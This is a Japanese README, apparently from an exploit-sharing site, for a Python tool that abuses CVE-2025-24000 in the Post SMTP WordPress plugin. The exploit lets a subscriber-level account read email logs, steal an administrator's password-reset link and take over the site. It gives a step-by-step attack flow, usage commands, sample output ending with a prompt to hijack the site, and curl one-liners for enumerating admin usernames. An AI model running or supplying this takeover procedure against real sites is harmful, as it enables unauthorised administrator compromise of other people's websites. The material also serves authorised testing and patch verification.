CVE-2025-24000 — Post SMTP 権限昇格エクスプロイト

概要

このスクリプトは CVE-2025-24000 を悪用します。これは Post SMTP WordPress プラグイン（バージョン ≤ 3.2.0）における重大なアクセス制御の脆弱性です。低権限アカウント（例: 購読者）を持つ任意の認証ユーザーが、プラグインの REST API メールログにアクセスし、管理者パスワードリセットリンクを盗み取り、管理者アカウントを乗っ取ることができます。

• CVE: CVE-2025-24000
• プラグイン: Post SMTP (WPExperts)
• 影響を受けるバージョン: ≤ 3.2.0
• 修正バージョン: 3.3.0
• CVSS スコア: 8.8（高）
• 影響: 権限昇格 → 管理者アカウント完全乗っ取り

動作の仕組み

この脆弱性は、プラグインの REST API における不適切な権限チェックに起因します:

// 脆弱なコード (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

ログインしているユーザーであれば、ロールに関係なく、管理者専用のエンドポイントにアクセスできます:

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

エクスプロイトの流れ

1. 低権限の WordPress アカウント（購読者）を登録または既存のものを使用
2. ログインし、/wp-admin/ から WP REST ノンスを取得
3. 管理者アカウントのパスワードリセットをトリガー
4. 保護されていない REST API 経由でメールログを読み取る
5. ログからパスワードリセットリンクを抽出
6. リセットリンクを使用して新しい管理者パスワードを設定
7. 管理者として /wp-admin にログイン

必要条件

• Python 3.x
• requests ライブラリ (pip install requests)
• ターゲットの WordPress サイトに登録されたアカウント（購読者レベルで十分）

使用方法

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

引数

例

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

期待される出力

[*] attacker としてログイン中...
[+] attacker としてログイン成功
[*] wp-admin から WP REST ノンスを取得中...
[+] ノンス取得成功: a5f398e081
[*] shogun のパスワードリセットをトリガー中...
[+] パスワードリセットをトリガーしました
[*] メールログを取得中...
[+] ログのレスポンス取得成功
[*] リセットリンクを探すために 1 件のメールをチェック中...

[+] リセットリンクを発見:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] 上記のリンクにアクセスして新しい管理者パスワードを設定し、サイトを乗っ取ってください。

ヒント

• 管理者ユーザー名が不明な場合、WP REST API 経由で列挙できます:
  root@kitploit:~

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

  または投稿者列挙:
  root@kitploit:~

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• リセットリンクは一度しか使用できず、有効期限があります — 抽出後すぐに使用してください
• ログが空の場合、サイトが Post SMTP 経由でメールを送信する設定になっているか確認してください（PHP メールではなく）

参考文献

• Patchstack 勧告: https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• GitHub 勧告: https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• 再現手順: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24000

免責事項

このツールは、許可されたペネトレーションテストおよび教育目的専用です。明示的な許可がないシステムに対しては使用しないでください。